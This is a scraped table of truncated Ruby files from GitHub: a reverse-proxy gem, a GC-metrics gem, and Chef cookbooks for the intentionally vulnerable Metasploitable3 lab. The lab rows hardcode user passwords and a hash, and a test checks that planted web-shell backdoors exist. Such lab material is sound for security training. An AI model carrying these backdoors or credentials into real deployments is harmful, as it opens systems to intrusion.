source stringclasses 1
value | repo stringlengths 5 63 | repo_url stringlengths 24 82 | path stringlengths 5 167 | language stringclasses 1
value | license stringclasses 5
values | stars int64 10 51.4k | ref stringclasses 23
values | size_bytes int64 200 258k | text stringlengths 137 258k |
|---|---|---|---|---|---|---|---|---|---|
github | waterlink/rack-reverse-proxy | https://github.com/waterlink/rack-reverse-proxy | lib/rack_reverse_proxy/response_builder.rb | Ruby | mit | 194 | master | 1,166 | module RackReverseProxy
# ResponseBuilder knows target response building process
class ResponseBuilder
def initialize(target_request, uri, options)
@target_request = target_request
@uri = uri
@options = options
end
def fetch
setup_response
target_response
end
priv... |
github | waterlink/rack-reverse-proxy | https://github.com/waterlink/rack-reverse-proxy | spec/spec_helper.rb | Ruby | mit | 194 | master | 4,684 | # Code coverage
require "simplecov"
SimpleCov.start
require "rack/reverse_proxy"
require "rack/test"
require "webmock/rspec"
# Patch HttpStreamingResponse to make rack-proxy compatible with webmocks
require "support/http_streaming_response_patch"
# This file was generated by the `rspec --init` command. Conventionall... |
github | waterlink/rack-reverse-proxy | https://github.com/waterlink/rack-reverse-proxy | spec/support/http_streaming_response_patch.rb | Ruby | mit | 194 | master | 684 | module Rack
##
# Patch HttpStreamingResponse
# in order to support webmocks and still use rack-proxy
#
# Inspired by @ehlertij commits on sportngin/rack-proxy:
# 616574e452fa731f5427d2ff2aff6823fcf28bde
# d8c377f7485997b229ced23c33cfef87d3fb8693
# 75b446a26ceb519ddc28f38b33309e9a2799074c
#
class Htt... |
github | waterlink/rack-reverse-proxy | https://github.com/waterlink/rack-reverse-proxy | spec/rack/reverse_proxy_spec.rb | Ruby | mit | 194 | master | 25,306 | require "spec_helper"
require "cgi"
require "base64"
RSpec.describe Rack::ReverseProxy do
include Rack::Test::Methods
def app
Rack::ReverseProxy.new
end
def dummy_app
lambda { |_| [200, {}, ["Dummy App"]] }
end
let(:http_streaming_response) do
double(
"Rack::HttpStreamingResponse",
... |
github | waterlink/rack-reverse-proxy | https://github.com/waterlink/rack-reverse-proxy | spec/rack_reverse_proxy/response_builder_spec.rb | Ruby | mit | 194 | master | 920 | require "spec_helper"
module RackReverseProxy
RSpec.describe ResponseBuilder do
let(:options) { {} }
let(:uri_opt) { { :uri => "http://example.org/hello/world" } }
let(:request) { double("Request") }
subject(:response) do
ResponseBuilder.new(
request,
URI(uri_opt[:uri]),
... |
github | basecamp/trashed | https://github.com/basecamp/trashed | trashed.gemspec | Ruby | mit | 194 | master | 634 | Gem::Specification.new do |s|
s.name = 'trashed'
s.version = '3.2.8'
s.license = 'MIT'
s.summary = 'Rack request GC stats => logs + StatsD'
s.description = 'Each Rack request eats up time, objects, and GC. Report usage to logs and StatsD.'
s.homepage = 'https://github.com/basecamp/trashed'
s.... |
github | basecamp/trashed | https://github.com/basecamp/trashed | Rakefile | Ruby | mit | 194 | master | 201 | require 'rake/testtask'
desc 'Default: run tests'
task :default => :test
desc 'Run tests'
Rake::TestTask.new :test do |t|
t.libs << 'test/lib'
t.pattern = 'test/*_test.rb'
t.verbose = true
end |
github | basecamp/trashed | https://github.com/basecamp/trashed | lib/trashed/meter.rb | Ruby | mit | 194 | master | 1,473 | module Trashed
class Meter
attr_reader :instruments
def initialize
@timers = []
@gauges = []
end
# Counters increase, so we measure before/after differences.
# Time elapsed, memory growth, objects allocated, etc.
def counts(name, &block)
instrument ChangeInstrument.new(name... |
github | basecamp/trashed | https://github.com/basecamp/trashed | lib/trashed/rack.rb | Ruby | mit | 194 | master | 898 | require 'trashed/resource_usage'
module Trashed
class Rack
STATE, TIMINGS, GAUGES = 'trashed.state', 'trashed.timings', 'trashed.gauges'
def initialize(app, reporter, options = {})
@reporter = reporter
@meters = Array(options.fetch(:meters, [ResourceUsage]))
@app = build_instrumented_app(a... |
github | basecamp/trashed | https://github.com/basecamp/trashed | lib/trashed/resource_usage.rb | Ruby | mit | 194 | master | 1,193 | require 'trashed/meter'
module Trashed
ResourceUsage = Meter.new.tap do |meter|
# Wall clock time in milliseconds since epoch.
# Includes CPU and idle time on Ruby 2.1+.
require 'trashed/instruments/stopwatch'
meter.instrument Trashed::Instruments::Stopwatch.new
# RailsBench GC patch / REE 1.8
... |
github | basecamp/trashed | https://github.com/basecamp/trashed | lib/trashed/railtie.rb | Ruby | mit | 194 | master | 1,028 | require 'rails/railtie'
require 'trashed/rack'
require 'trashed/reporter'
module Trashed
class Railtie < ::Rails::Railtie
config.trashed = Trashed::Reporter.new
# Middleware would like to emit tagged logs after Rails::Rack::Logger
# pops its tags. Introduce this haxware to stash the tags in the Rack
... |
github | basecamp/trashed | https://github.com/basecamp/trashed | lib/trashed/reporter.rb | Ruby | mit | 194 | master | 3,120 | require 'trashed/rack'
module Trashed
class Reporter
attr_accessor :logger, :statsd
attr_accessor :timing_sample_rate, :gauge_sample_rate
attr_accessor :timing_dimensions, :gauge_dimensions
DEFAULT_DIMENSIONS = [ :All ]
def initialize
@logger = nil
@statsd = nil
@timing_sample... |
github | basecamp/trashed | https://github.com/basecamp/trashed | lib/trashed/instruments/ree_gc.rb | Ruby | mit | 194 | master | 923 | module Trashed
module Instruments
class Ruby18GC
def initialize
GC.enable_stats
end
def start(state, timings, gauges)
state[:ruby18_gc] = {
:objects => ObjectSpace.allocated_objects,
:gc_count => GC.collections,
:gc_time => GC.time,
:... |
github | basecamp/trashed | https://github.com/basecamp/trashed | lib/trashed/instruments/ruby_gc.rb | Ruby | mit | 194 | master | 1,295 | module Trashed
module Instruments
class RubyGC
def start(state, timings, gauges)
state[:ruby_gc] = GC.stat
end
MEASUREMENTS = {
:count => :'GC.count'
}
RUBY_2X_MEASUREMENTS = {
:major_gc_count => :'GC.major_count',
:minor_gc_count => :'GC.minor_gc_co... |
github | basecamp/trashed | https://github.com/basecamp/trashed | lib/trashed/instruments/gctools_oobgc.rb | Ruby | mit | 194 | master | 855 | module Trashed
module Instruments
# Tracks out of band GCs that occurred *since* the last request.
class GctoolsOobgc
def start(state, timings, gauges)
last = state[:persistent][:oobgc] || Hash.new(0)
current = {
:count => GC::OOB.stat(:count).to_i,
:major => GC::OOB... |
github | basecamp/trashed | https://github.com/basecamp/trashed | lib/trashed/instruments/ruby_gc_profiler.rb | Ruby | mit | 194 | master | 740 | module Trashed
module Instruments
class RubyGCProfiler
# Captures out-of-band GC time and stats.
def start(state, timings, gauges)
GC::Profiler.enable
measure state, timings, gauges, :OOBGC
end
# Captures in-band GC time and stats.
def measure(state, timings, gauges,... |
github | basecamp/trashed | https://github.com/basecamp/trashed | lib/trashed/instruments/object_space_counter.rb | Ruby | mit | 194 | master | 253 | module Trashed
module Instruments
class ObjectSpaceCounter
def measure(state, timings, gauges)
ObjectSpace.count_objects.each do |type, count|
gauges << [ :"Objects.#{type}", count ]
end
end
end
end
end |
github | basecamp/trashed | https://github.com/basecamp/trashed | lib/trashed/instruments/stopwatch.rb | Ruby | mit | 194 | master | 1,553 | module Trashed
module Instruments
class Stopwatch
def initialize(timepiece = Timepiece)
@timepiece = timepiece
@has_cpu_time = timepiece.respond_to?(:cpu)
end
def start(state, timings, gauges)
state[:stopwatch_wall] = @timepiece.wall
state[:stopwatch_cpu] = @tim... |
github | basecamp/trashed | https://github.com/basecamp/trashed | test/meter_test.rb | Ruby | mit | 194 | master | 972 | require 'trashed/test_helper'
class MeterTest < Minitest::Test
def test_counts
meter = Trashed::Meter.new
i = 0
meter.counts(:foo) { i += 1 }
timings = {}
assert_equal :result, meter.instrument!({}, timings, []) { :result }
assert_equal 1, timings[:foo]
end
def test_gauges
meter = T... |
github | basecamp/trashed | https://github.com/basecamp/trashed | test/rack_test.rb | Ruby | mit | 194 | master | 1,045 | require 'trashed/test_helper'
class RackTest < Minitest::Test
Hello = lambda { |env| [200, {}, %w(hello)] }
def setup
@reporter = Object.new
def @reporter.report(env) end
def @reporter.request_reporting_rate; 1 end
def @reporter.gauge_sample_rate; 1 end
end
def test_instruments_app_and_stores... |
github | basecamp/trashed | https://github.com/basecamp/trashed | test/resource_usage_test.rb | Ruby | mit | 194 | master | 722 | require 'trashed/test_helper'
class ResourceUsageTest < Minitest::Test
def setup
super
@meter = Trashed::ResourceUsage
end
def test_wall_time
assert_in_delta 0, timing(:'Time.wall'), 1000
end
if Process.respond_to?(:clock_gettime)
def test_cpu_and_idle_time
assert_in_delta 0, timing(:... |
github | basecamp/trashed | https://github.com/basecamp/trashed | test/reporter_test.rb | Ruby | mit | 194 | master | 2,845 | require 'trashed/test_helper'
require 'trashed/reporter'
require 'logger'
require 'stringio'
class ReporterTest < Minitest::Test
def setup
@reporter = Trashed::Reporter.new
@reporter.timing_sample_rate = 1
@reporter.gauge_sample_rate = 1
end
def test_sample_rate_defaults
assert_equal 0.1, Trashe... |
github | basecamp/trashed | https://github.com/basecamp/trashed | test/ruby_gc_profiler_test.rb | Ruby | mit | 194 | master | 1,186 | require 'trashed/test_helper'
require 'trashed/instruments/ruby_gc_profiler'
if defined? GC::Profiler
class RubyGCProfilerTest < Minitest::Test
def setup
super
@instrument = Trashed::Instruments::RubyGCProfiler.new
GC::Profiler.enable
GC::Profiler.clear
end
def teardown
GC:... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/apt/metadata.rb | Ruby | bsd-3-clause | 193 | main | 420 | name 'apt'
maintainer 'Chef Software, Inc.'
maintainer_email 'cookbooks@chef.io'
license 'Apache-2.0'
description 'Configures apt and apt caching.'
long_description IO.read(File.join(File.dirname(__FILE__), 'README.md'))
version '7.2.0'
%w(ubuntu debian).each do |os|
supports os
end
source_url 'https://github.com/c... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/apt/recipes/unattended-upgrades.rb | Ruby | bsd-3-clause | 193 | main | 1,366 | #
# Cookbook:: apt
# Recipe:: unattended-upgrades
#
# Copyright:: 2014-2017, Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the 'License');
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/apt/recipes/default.rb | Ruby | bsd-3-clause | 193 | main | 2,685 | #
# Cookbook:: apt
# Recipe:: default
#
# Copyright:: 2008-2017, Chef Software, Inc.
# Copyright:: 2009-2017, Bryan McLellan <btm@loftninjas.org>
#
# Licensed under the Apache License, Version 2.0 (the 'License');
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License ... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/apt/recipes/cacher-client.rb | Ruby | bsd-3-clause | 193 | main | 1,789 | #
# Cookbook:: apt
# Recipe:: cacher-client
#
# Copyright:: 2011-2017, Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/apt/attributes/default.rb | Ruby | bsd-3-clause | 193 | main | 2,764 | #
# Cookbook:: apt
# Attributes:: default
#
# Copyright:: 2009-2017, Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/apt/libraries/helpers.rb | Ruby | bsd-3-clause | 193 | main | 1,343 | #
# Cookbook:: apt
# Library:: helpers
#
# Copyright:: 2013-2017, Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Un... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/mysql/libraries/mysql_service_base.rb | Ruby | bsd-3-clause | 193 | main | 6,055 | module MysqlCookbook
class MysqlServiceBase < MysqlBase
property :bind_address, String, desired_state: false
property :charset, String, default: 'utf8', desired_state: false
property :data_dir, String, default: lazy { default_data_dir }, desired_state: false
property :error_log, String, default: lazy ... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/mysql/libraries/mysql_service_manager_upstart.rb | Ruby | bsd-3-clause | 193 | main | 3,070 | module MysqlCookbook
class MysqlServiceManagerUpstart < MysqlServiceBase
resource_name :mysql_service_manager_upstart
provides :mysql_service_manager, platform_family: 'debian' do |_node|
Chef::Platform::ServiceHelpers.service_resource_providers.include?(:upstart) &&
!Chef::Platform::ServiceHel... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/mysql/libraries/helpers.rb | Ruby | bsd-3-clause | 193 | main | 9,466 | module MysqlCookbook
module HelpersBase
require 'shellwords'
def el6?
return true if node['platform_family'] == 'rhel' && node['platform_version'].to_i == 6
false
end
def el7?
return true if node['platform_family'] == 'rhel' && node['platform_version'].to_i == 7
false
end... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/mysql/libraries/mysql_config.rb | Ruby | bsd-3-clause | 193 | main | 1,747 | module MysqlCookbook
class MysqlConfig < MysqlBase
resource_name :mysql_config
property :config_name, String, name_property: true, desired_state: false
property :cookbook, String, desired_state: false
property :group, String, default: 'mysql', desired_state: false
property :instance, String, defa... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/mysql/libraries/mysql_server_installation_package.rb | Ruby | bsd-3-clause | 193 | main | 1,415 | module MysqlCookbook
class MysqlServerInstallationPackage < MysqlBase
# Resource properties
resource_name :mysql_server_installation_package
provides :mysql_server_installation, os: 'linux'
property :package_name, String, default: lazy { default_server_package_name }, desired_state: false
propert... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/mysql/libraries/mysql_client_installation_package.rb | Ruby | bsd-3-clause | 193 | main | 991 | module MysqlCookbook
class MysqlClientInstallationPackage < MysqlBase
# helper methods
require_relative 'helpers'
include MysqlCookbook::HelpersBase
# Resource properties
resource_name :mysql_client_installation_package
provides :mysql_client_installation, os: 'linux'
provides :mysql_clie... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/mysql/libraries/mysql_base.rb | Ruby | bsd-3-clause | 193 | main | 873 | module MysqlCookbook
class MysqlBase < Chef::Resource
require_relative 'helpers'
# All resources are composites
def whyrun_supported?
true
end
################
# Type Constants
################
Boolean = property_type(
is: [true, false],
default: false
) unless... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/mysql/libraries/matchers.rb | Ruby | bsd-3-clause | 193 | main | 2,316 | if defined?(ChefSpec)
ChefSpec.define_matcher :mysql_config
ChefSpec.define_matcher :mysql_service
ChefSpec.define_matcher :mysql_client
# mysql_client_client_installation_package
def install_mysql_client_installation_package(resource_name)
ChefSpec::Matchers::ResourceMatcher.new(:mysql_client_installati... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/mysql/libraries/mysql_service_manager_sysvinit.rb | Ruby | bsd-3-clause | 193 | main | 1,805 | module MysqlCookbook
class MysqlServiceManagerSysvinit < MysqlServiceBase
resource_name :mysql_service_manager_sysvinit
provides :mysql_service_manager, os: 'linux'
action :create do
# from base
create_system_user
stop_system_service
create_config
initialize_database
... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/mysql/libraries/mysql_service.rb | Ruby | bsd-3-clause | 193 | main | 2,869 | module MysqlCookbook
require_relative 'mysql_service_base'
class MysqlService < MysqlServiceBase
resource_name :mysql_service
# installation type and service_manager
property :install_method, %w(package auto), default: 'auto', desired_state: false
property :service_manager, %w(sysvinit upstart syst... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/mysql/libraries/mysql_service_manager_systemd.rb | Ruby | bsd-3-clause | 193 | main | 4,065 | module MysqlCookbook
class MysqlServiceManagerSystemd < MysqlServiceBase
resource_name :mysql_service_manager_systemd
provides :mysql_service_manager, os: 'linux' do |_node|
Chef::Platform::ServiceHelpers.service_resource_providers.include?(:systemd)
end
action :create do
# from base
... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/iptables/resources/rule6.rb | Ruby | bsd-3-clause | 193 | main | 1,540 | #
# Author:: Julien 'Lta' BALLET <contact@lta.io>
# Cookbook:: iptables
# Resource:: rule6
#
# Copyright:: 2018, Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# ht... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/iptables/resources/rule.rb | Ruby | bsd-3-clause | 193 | main | 2,518 | #
# Author:: Tim Smith <tsmith84@gmail.com>
# Cookbook:: iptables
# Resource:: rule
#
# Copyright:: 2015-2018, Tim Smith
# Copyright:: 2017-2018, Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a ... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/iptables/attributes/default.rb | Ruby | bsd-3-clause | 193 | main | 1,378 | #
# Cookbook:: iptables
# Attribute:: default
#
# Copyright:: 2016, Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/iptables/recipes/_package.rb | Ruby | bsd-3-clause | 193 | main | 1,110 | #
# Cookbook:: iptables
# Recipe:: _package
#
# Copyright:: 2008-2016, Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/iptables/recipes/default.rb | Ruby | bsd-3-clause | 193 | main | 2,544 | #
# Cookbook:: iptables
# Recipe:: default
#
# Copyright:: 2008-2016, Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/iptables/recipes/disabled.rb | Ruby | bsd-3-clause | 193 | main | 1,649 | #
# Cookbook:: iptables
# Recipe:: default
#
# Copyright:: 2008-2016, Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/metadata.rb | Ruby | bsd-3-clause | 193 | main | 877 | name 'metasploitable'
maintainer 'Rapid7'
maintainer_email ''
license 'BSD-3-clause'
description 'Installs/Configures metasploitable3'
long_description 'Installs/Configures metasploitable3'
version '0.1.0'
# The `issues_url` points to the location where issues for this cookbook are
# tracked. A `View Issues` link wil... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/attributes/unrealircd.rb | Ruby | bsd-3-clause | 193 | main | 221 | default[:unrealircd][:files_path] = File.join(default[:metasploitable][:files_path], 'drupal')
default[:unrealircd][:install_dir] = '/opt/unrealircd'
default[:unrealircd][:download_url] = 'https://www.exploit-db.com/apps' |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/attributes/apache_continuum.rb | Ruby | bsd-3-clause | 193 | main | 234 | default[:apache_continuum][:install_dir] = '/opt/apache_continuum'
default[:apache_continuum][:download_url] = 'http://archive.apache.org/dist/continuum/binaries'
default[:apache_continuum][:tar] = 'apache-continuum-1.4.2-bin.tar.gz' |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/attributes/default.rb | Ruby | bsd-3-clause | 193 | main | 366 | #
# Cookbook:: metasploitable
# Attributes:: default
#
default[:metasploitable][:docker_users] = ['boba_fett',
'jabba_hutt',
'greedo',
'chewbacca',]
default[:metasploitable][:files_path] = '... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/attributes/drupal.rb | Ruby | bsd-3-clause | 193 | main | 507 | default[:drupal][:files_path] = File.join(default[:metasploitable][:files_path], 'drupal')
default[:drupal][:install_dir] = '/var/www/html/drupal'
default[:drupal][:sites_dir] = File.join(default[:drupal][:install_dir], 'sites')
default[:drupal][:all_site_dir] = File.join(default[:drupal][:sites_dir], 'all')
default[:d... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/attributes/users.rb | Ruby | bsd-3-clause | 193 | main | 6,251 | #
# Cookbook:: metasploitable
# Attributes:: users
#
default[:users][:leia_organa] = { username: 'leia_organa',
password: 'help_me_obiwan',
password_hash: '$1$N6DIbGGZ$LpERCRfi8IXlNebhQuYLK/',
first_name: 'Leia',
... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/spec/unit/recipes/default_spec.rb | Ruby | bsd-3-clause | 193 | main | 451 | #
# Cookbook:: metasploitable
# Spec:: default
#
# Copyright:: 2017, The Authors, All Rights Reserved.
require 'spec_helper'
describe 'metasploitable::default' do
context 'When all attributes are default, on an unspecified platform' do
let(:chef_run) do
runner = ChefSpec::ServerRunner.new
runner.con... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/spec/unit/recipes/mysql_spec.rb | Ruby | bsd-3-clause | 193 | main | 449 | #
# Cookbook:: metasploitable
# Spec:: default
#
# Copyright:: 2017, The Authors, All Rights Reserved.
require 'spec_helper'
describe 'metasploitable::mysql' do
context 'When all attributes are default, on an unspecified platform' do
let(:chef_run) do
runner = ChefSpec::ServerRunner.new
runner.conve... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/helpers/chat_test.rb | Ruby | bsd-3-clause | 193 | main | 3,712 | require 'nokogiri'
require 'net/http'
class ChatTest
attr_accessor :url
BOTTESTERS = [ 'l0bsteryumyum1', 'bottyp0', 'popo0', 'pdiddy1', 'thatsinn3rguy', 'viper2000', 'the1jboss', '1337hackerizme' ]
def check_chat_bot
#print_status("Checking chat bot as #{bot_tester}...")
rv = false
begin
php... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/smoke/default/default_test.rb | Ruby | bsd-3-clause | 193 | main | 465 | # # encoding: utf-8
# Inspec test for recipe metasploitable::default
# The Inspec reference, with examples and extensive documentation, can be
# found at http://inspec.io/docs/reference/resources/
unless os.windows?
describe user('root') do
it { should exist }
skip 'This is an example test, replace with yo... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/smoke/default/mysql.rb | Ruby | bsd-3-clause | 193 | main | 463 | # # encoding: utf-8
# Inspec test for recipe metasploitable::mysql
# The Inspec reference, with examples and extensive documentation, can be
# found at http://inspec.io/docs/reference/resources/
unless os.windows?
describe user('root') do
it { should exist }
skip 'This is an example test, replace with your... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/backdoors.rb | Ruby | bsd-3-clause | 193 | main | 416 | control "backdoors" do
title "Backdoors"
desc "Check if the backdoors are correctly placed. Installation script present at: /scripts/installs/install_backdoors.bat"
describe file('C:\\inetpub\\wwwroot\\caidao.asp') do
it { should exist }
end
describe file('C:\\wamp\\www\\mma.php') do
it { should exist... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/glassfish.rb | Ruby | bsd-3-clause | 193 | main | 952 | control "glassfish" do
title "Check GlassFish"
desc "Check if the GlassFish service is correctly installed. Installation script available at /scripts/installs/setup_g"
describe file("C:\\glassfish") do
it { should exist }
end
describe file("C:\\glassfish\\glassfish4\\glassfish\\domains\\domain1\\config\\... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/mysql.rb | Ruby | bsd-3-clause | 193 | main | 344 | control "mysql" do
title "MySQL"
desc "Check if MySQL is running properly. Installation script available at /scripts/installs/setup_mysql.bat"
describe service('wampmysqld') do
it { should be_installed }
it { should be_enabled }
it { should be_running }
end
describe port('3306') do
it { should b... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/boxstarter.rb | Ruby | bsd-3-clause | 193 | main | 347 | control "boxstarter" do
title "Check BoxStarter"
desc "Check if BoxStarter is installed successfully"
describe file('C:\\Users\\vagrant\\AppData\\Roaming\\Boxstarter') do
it { should exist }
end
describe file('C:\\Users\\vagrant\\AppData\\Roaming\\Boxstarter\\BoxstarterShell.ps1') do
it ... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/jmx.rb | Ruby | bsd-3-clause | 193 | main | 880 | control "jmx" do
title "Check JMX installation"
desc "Check if the JMX service is correctly installed. Setup script available at /scripts/installs/setup_jmx.bat"
describe file('C:\\Program Files\\jmx') do
it { should exist }
end
describe file('C:\\Program Files\\jmx\\Hello.class') do
it { should exist... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/manageengine.rb | Ruby | bsd-3-clause | 193 | main | 685 | control "manageengine" do
title "ManageEngine"
desc "Check if ManageEngine is running. Installation script is available at /scripts/installs/install_manageengine.bat"
describe service('MEDCServerComponent-Apache') do
it { should be_installed }
it { should be_enabled }
it { should be_running }
end
d... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/7zip.rb | Ruby | bsd-3-clause | 193 | main | 247 | control "7zip" do
title "Check 7zip"
desc "Check if choco installed 7zip. Installation script available at /scripts/chocolatey_installs/7zip.bat"
describe file('C:\\ProgramData\\chocolatey\\bin\\7z.exe') do
it { should exist }
end
end |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/tomcat.rb | Ruby | bsd-3-clause | 193 | main | 469 | control "tomcat" do
title "Check tomcat installation"
desc "Check if tomcat is installed. Installation script available at /scripts/chocolatey_installs/tomcat.bat"
describe file('C:\\Program Files\\Apache Software Foundation\\tomcat') do
it { should exist }
end
describe service('Tomcat8') do
it { shou... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/java.rb | Ruby | bsd-3-clause | 193 | main | 464 | control "java" do
title "Check Java installation"
desc "Check if java is installed. Checkout the installation script at /scripts/chocolatey_installs/java.bat"
describe file('C:\\Program Files\\Java\\jre1.8.0_131\\bin\\java.exe') do
it { should exist }
end
describe file('C:\\Program Files\\Java\\jdk1.8.0_... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/firewall.rb | Ruby | bsd-3-clause | 193 | main | 3,528 | control "firewall" do
title "Configure Firewall"
desc "Check if the firewall rules are applied. Configuration script available at /scripts/configs/configure_firewall.bat"
describe command('netsh advfirewall firewall show rule name="Open Port 8484 for Jenkins"') do
its('stdout') { should match "Enabled: ... |
github | juanjoSanz/aws-pentesting-lab | https://github.com/juanjoSanz/aws-pentesting-lab | metasploitable3/cookbooks/metasploitable/test/windows/jenkins.rb | Ruby | bsd-3-clause | 193 | main | 621 | control "jenkins" do
title "Check jenkins"
desc "Check if jenkins is installed correctly. The setup script is available at /scripts/installs/setup_jenkins.bat"
describe file("C:\\Program Files\\jenkins") do
it { should exist }
end
describe file("C:\\Program Files\\jenkins\\jenkins.war") do
it { should... |
